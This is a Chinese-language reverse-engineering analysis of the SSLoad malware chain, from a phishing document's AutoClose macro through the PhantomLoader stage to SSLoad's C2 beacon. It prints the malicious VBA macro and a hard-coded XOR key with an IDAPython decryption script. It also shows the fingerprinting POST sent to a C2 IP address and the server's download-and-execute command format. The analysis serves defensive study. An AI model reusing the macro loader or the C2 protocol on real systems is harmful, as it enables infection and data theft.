前言
SSLoad 是一种恶意加载器或下载器,用于通过钓鱼电子邮件渗透目标系统,执行侦察并将其传输回其操作员,从而提供恶意负载。为了避免被发现,SSLoad 采用了各种加密方法和交付技术,突显了其多功能性和复杂性。鉴于其多样化的交付方法和实施技术,它被认为是恶意软件即服务 (MaaS) 操作的一部分。
恶意文档
恶意文档执行后,会启用一个新进程app.com
,这表明它嵌入了恶意宏。
将恶意宏代码提取出来,如下:
这里发现它是加载一个经过编码的XML字符串,该字符串经过了Jscript混淆。一旦加载,XML字符串就会被执行,从而触发下一阶段恶意进程。
进一步发现:
Sub AutoClose()
Dim Document As Object
Set Document = CreateObject("MSXML2.DomDocument")
Document.loadXML UserForm1.Label1.Caption
Document.transformNode Document
End Sub
Autoclose 宏从名为“UserForm1”的 XML 文件中读取 XML 字符串。
分析引用的表单文件后,可以清楚地看到,加载的 XML 字符串是用 JavaScript 编码的。可以使用Cyberchef进行解码:
JavaScript 代码使用 base64 解码下一阶段 PhantomLoader。然后,它将解码后的文件放置在用户的 %TEMP% 目录中,文件名为“app.com”,并启动它。
PhantomLoader 加载器
PhantomLoader 会伪装成“PatchUp.exe”,这是杀毒软件 360 Total Security 的合法模块。
恶意样本在wWinMain运行之前对代码进行加密。
这里用于解密的密钥是硬编码的,该恶意程序首先计算隐藏在加密代码存根的地址,然后使用硬编码密钥进行XOR运算解密该存根。
加密密钥处于可执行文件的.text段。由loc_433B1E + 0x15D38 得到,如下:
编写一个idapython脚本进行解码,循环异或时的长度是0x1A,给的硬编码只有25个,实际调试发现最后面还异或了一个0x00,遂添加进脚本里。
import idaapi
def read_bytes(start_ea, size):
"""Reads bytes from the IDA database starting at a given address."""
data = idaapi.get_bytes(start_ea, size)
if data is None:
print(f"Failed to read bytes at {hex(start_ea)}")
return data
def decrypt_bytes(key, data, size):
"""Decrypts a byte array using the provided key."""
enc_data_bytes = bytearray(data)
buffer = [0] * 0x5F5E100
for i in range(size):
idx = i + 665 * i * buffer[0]
enc_data_bytes[idx] ^= key[i % 26]
return bytes(enc_data_bytes)
def patch_bytes_in_idb(key, start_ea, size):
"""Patches the decrypted bytes back into the IDA database."""
encrypted_data = read_bytes(start_ea, size)
if encrypted_data is None:
print("Failed to read encrypted data.")
return
decrypted_data = decrypt_bytes(key, encrypted_data, size)
idaapi.patch_bytes(start_ea, decrypted_data)
if __name__ == "__main__":
# Fixed parameters
key_ascii = "YKfPlrvLp0<Bas&J>%duZNt@l" + "\x00" # Add 0x00 at the end
key_lst = [ord(c) for c in key_ascii] # Convert the key to a list of integers
start_ea = 0x449856 # Fixed start address
size = 2000 # Fixed size of the encrypted data
print(f"Decrypting and patching from address {hex(start_ea)} with size {size}...")
patch_bytes_in_idb(key_lst, start_ea, size)
print("[+] Done patching")
得到如下:
进行修复后得到:
整理一下代码:
do {
for (i = 0; i < 0x6B; ++i) {
v51[i] = i;
}
--v4;
} while (v4);
if (v51[79] == -79) {
base = (int(__stdcall *)(DWORD))get_kernel32_base(wide_str_kernel32);
} else {
base = ptLoadLibraryA;
}
ptVirtualAlloc = (unsigned int *)GetProcAddressByHash((int)base, BxE3142);
v59 = ptVirtualAlloc;
ptLoadLibraryA = (int(__stdcall *)(DWORD))GetProcAddressByHash((int)base, @xD5786);
ptGetProcAddress = (int(__stdcall *)(int, int))GetProcAddressByHash((int)base, 0x348BFA);
解密代码的核心逻辑是首先获取 "kernel32" 的基地址,这是一个提供核心系统功能的 Windows 系统 DLL。随后,它利用该基地址,通过哈希算法解析以下函数的地址:
- VirtualAlloc:负责动态分配内存。
- LoadLibraryA:将库文件(DLL)加载到内存中。
- GetProcAddress:从加载的 DLL 中获取函数或变量的地址。
接着,利用解析出的这些函数地址,将解密后的下一阶段加载器 SSLoad 直接加载到内存中。
使用与之前相同的密钥,代码会对存储在文件 ".rsrc" 部分中的加密 SSLoad 进行异或解密。
它不使用通用 API 序列 FindResourceA 和 LockResource 来定位和提取加密资源。而是将加密资源的偏移量传递给指向解密存根的函数。
SSLoad
SSLoad 使用了多种反分析技术,包括反调试和反仿真方法。它还通过多层字符串解密隐藏其命令和控制(C2)URL 和 IP 地址,从而增加检测和分析的难度。
在执行阶段,SSLoad 首先会创建一个具有硬编码名称的互斥对象,以确保同一主机上任意时间仅运行一个 SSLoad 实例。这是一种常见技术,用于防止资源冲突或重复感染。
SSLoad 采用了一种常见的反调试技术,检查进程环境块(PEB)中的“BeingDebugged”标志,以判断当前进程是否处于调试状态。
运行时,SSLoad 会检查系统特定的工件,例如是否存在位于 %APPDATA%/Microsoft 下随机生成名称的目录。该目录名是通过 Advapi32.dll 的 SystemFunction036 函数生成的,该函数通常用于加密操作。
完成相关检查并解密 C2 URL 和 IP 地址后,SSLoad 开始对主机进行指纹识别。此过程包括收集操作系统版本、用户名、主机名、架构(arch)、公共 IP 地址等系统关键信息,并将这些数据存储在 JSON 对象中。随后,数据通过 POST 请求发送至 C2 服务器以进行进一步通信。
POST /api/gateway HTTP/1.1
Connection: Keep-Alive
Content-Type: application/json
Referer: */*
User-Agent: Mozilla/5.0 (Windows NT 10.8; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Content-Length: 169
Host: 85.239.53.219
{
"version": "v1.4.",
"ip": "181.214.173.118",
"domain": "WORKGROUP",
"hostname": "USER-PC",
"arch": "x86",
"os_version": "Windows 6.1.7601",
"cur_user": "User",
"owner": "LosAngeles"
}
C2 服务器接收数据后,会返回包含 “key” 和 “ID” 的 JSON 对象。
{
"key": "niM4KBsKfD1cCxAkd",
"id": "73c7d3e8-5417-1181-b690-76de62a213f0"
}
返回的密钥是经过 Base64 编码的 RC4 密钥,用于加密主机与 C2 服务器之间的后续通信。与此同时,返回的 ID 是 C2 端生成的唯一标识符,用于让受感染主机进行身份验证及标识。
在后续 HTTP POST 请求中,主机不会发送任何额外数据,而是通过仅包含该 ID 的空 HTTP POST 请求与 C2 服务器继续通信。
一旦与 C2 服务器建立连接,SSLoad 会进入信标循环,定期向服务器查询进一步指令或任务。
{
"id": "459646db-d793-4a4f-ae38-e84fba1bbca6",
"job": "yxTaXXm+Sq+1wdwPzViKCs1l2N1OVMFkzF0E1JzHkB0IIL6IP1Wv3hVbsRLgI0CIid2rrVu7Qf46Mpjmh1TV82FYP/uhSZqYYAGbHPyRILynIY17YOfwEIQeFFL9"
}
返回的响应结构包括两个字段:“命令” 和 “参数”。据分析,当“命令”字段为 “exe” 且 “参数”字段提供了一个 URL 时,表示服务器指示受感染主机从指定 URL 下载并执行下一阶段的恶意软件负载。